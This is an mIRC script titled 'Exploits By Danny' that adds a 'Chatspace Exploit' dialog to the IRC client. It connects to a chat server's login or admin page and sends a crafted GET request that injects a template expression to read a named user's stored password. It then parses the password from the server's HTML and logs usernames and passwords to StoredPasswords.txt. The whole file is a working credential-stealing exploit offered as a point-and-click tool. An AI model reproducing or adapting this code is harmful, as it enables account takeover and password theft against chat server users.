alias csexploit1 { dialog -v,-md csexploit1 csexploit1 }
dialog csexploit1 {
  title "Exploits By Danny"
  size -1 -1 187 192
  option dbu
  text "Type Of Exploit", 2, 53 1 65 8
  check "", 3, 29 12 7 7
  text "Default Page", 4, 39 12 55 8
  check "", 5, 104 12 7 7
  text "Admin Page", 6, 114 12 40 7
  text "Server's ip/link", 7, 56 110 65 7
  text "Port", 8, 135 110 25 7
  edit "server.chat.com", 9, 34 120 95 10
  edit "8000", 10, 134 120 25 10
  text "Username to Exploit", 11, 46 136 51 7
  edit "", 12, 34 147 86 10
  button "Execute Exploit", 13, 128 147 54 10
  button "Saved Passwords", 15, 55 168 60 10
  edit "", 14, 19 24 145 79, autohs autovs multi return hsbar vsbar
}
on *:dialog:csexploit1:init:*:{
  dll Dll/mdx.dll SetMircVersion $version
  dll Dll/mdx.dll MarkDialog $dname
  did -c $dname 3 | set %typeofexploit login.htm
}
on *:dialog:csexploit1:sclick:3:{
  set %typeofexploit login.htm
  did -u $dname 5
}
on *:dialog:csexploit1:sclick:5:{
  set %typeofexploit admin/cfg.htm
  did -u $dname 3
}
on *:dialog:csexploit1:sclick:13:{
  set %expnick $did(12,seltext)
  set %expnickcs12 $did(9,seltext)
  set %expnickcs123 $did(10,seltext)
  exploit
}
on *:dialog:csexploit1:sclick:15:{
  set %fileexp StoredPasswords.txt
  did -ra $dname 14 if (%fileexp) {
  .loadbuf 0 -o $dname 14 " $+ %fileexp $+ " set %fileexpx mIRC notepad :: $nopath(" $+ %fileexp $+ ") dialog -t $dname %fileexpx }
}
alias exploit { sockopen exploit %expnickcs12 %expnickcs123 }
on *:sockopen:exploit:{
  sockwrite -n $sockname GET / $+ %typeofexploit $+ ?target= $+ %expnick $+ &nick= $+ %expnick $+ &pass=%dbget:Members.%target%.pass%
}
on *:SOCKREAD:exploit: {
  sockread %temp
  if (<input type="hidden" name="resumeopts" value="target= isin %temp) {
    set %expnick1 $gettok(%temp,7,61)
    did -a csexploit1 14 $crlf Site: %expnickcs12 $+ : $+ %expnickcs123 $crlf
    did -a csexploit1 14 User: %expnick $crlf
    if (%expnick1 == ">) { did -a csexploit1 14 Pass: Not Registered }
    else { did -a csexploit1 14 Pass: $remove(%expnick1,",>) $crlf
      write StoredPasswords.txt Site: %expnickcs12 $+ : $+ %expnickcs123 $crlf UserName: %expnick $crlf PassWord: $remove(%expnick1,",>) $crlf
    }
  }
}
menu channel,menubar { [-[-Chatspace Exploit-]-]:/csexploit1